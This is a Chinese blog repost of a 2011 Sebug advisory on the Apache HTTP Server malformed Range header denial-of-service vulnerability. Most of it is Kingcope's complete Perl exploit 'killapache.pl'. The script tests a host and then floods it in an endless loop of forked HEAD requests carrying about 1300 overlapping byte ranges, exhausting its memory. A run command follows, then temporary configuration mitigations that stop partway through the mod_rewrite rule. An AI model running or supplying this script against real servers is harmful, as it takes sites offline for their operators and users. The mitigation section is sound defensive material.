Apache HTTP Server畸形Range选项处理远程拒绝服务漏洞
(2011-09-13 12:33:01)
标签:
apacherange漏洞ddosparallelforkmanager杂谈 |
分类: 信息安全 |
SSV-ID: 20899
SEBUG-Appdir: Apache
发布时间: 2011-08-19
影响版本:
Apache 2.xApache 1.3
测试方法:
[sebug.net]
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负
#! /usr/bin/perl
!#Apache httpd Remote Denial of Service (memory exhaustion)
#By Kingcope
#Year 2011
#
# Will result in swapping memory to filesystem on the remote side
# plus killing of processes when running out of swap space.
# Remote System becomes unstable.
#
use IO::Socket;
use Parallel::ForkManager;
sub usage {
print "Apache Remote Denial of Service (memory exhaustion)\n";
print "by Kingcope\n";
print "usage: perl killapache.pl <host> [numforks]\n";
print "example: perl killapache.pl www.example.com 50\n";
}
sub killapache {
print "ATTACKING $ARGV[0] [using $numforks forks]\n";
$pm = new Parallel::ForkManager($numforks);
$|=1;
srand(time());
$p = "";
for ($k=0;$k<1300;$k++) {
$p .= ",5-$k";
}
for ($k=0;$k<$numforks;$k++) {
my $pid = $pm->start and next;
$x = "";
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => "80",
Proto => 'tcp');
$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;
while(<$sock>) {
}
$pm->finish;
}
$pm->wait_all_children;
print ":pPpPpppPpPPppPpppPp\n";
}
sub testapache {
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => "80",
Proto => 'tcp');
$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;
$x = <$sock>;
if ($x =~ /Partial/) {
print "host seems vuln\n";
return 1;
} else {
return 0;
}
}
if ($#ARGV < 0) {
usage;
exit;
}
if ($#ARGV > 1) {
$numforks = $ARGV[1];
} else {$numforks = 50;}
$v = testapache();
if ($v == 0) {
print "Host does not seem vulnerable\n";
exit;
}
while(1) {
killapache();
}
运行方法(假如保存文件名为name.pl):#perl name.pl 127.0.0.1 50
临时解决方法:
在厂商提供官方补丁或新版本软件之前,建议用户采用如下的配置方案之一以尽可能免受漏洞的影响:
* 使用SetEnvIf配置命令来忽略畸形的Ranger选项,适用于Apache 2.0和2.2 。
修改Apache的配置文件httpd.conf。
去掉如下行的注释:
LoadModule headers_module modules/mod_headers.so
增加如下行的配置命令:
SetEnvIf Range (,.*?){5,} bad-range=1
RequestHeader unset Range env=bad-range
重启Apache服务器。
* 安装启用mod_rewrite,设置规则过滤规则禁止带有畸形的Ranger选项的请求,适用于所有版本的
Apache 。
修改Apache的配置文件httpd.conf。
去掉如下行的注释:
LoadModule rewrite_module modules/mod_rewrite.so
加入如下的mod_rewrite的规则配置行:
RewriteEngine on

加载中…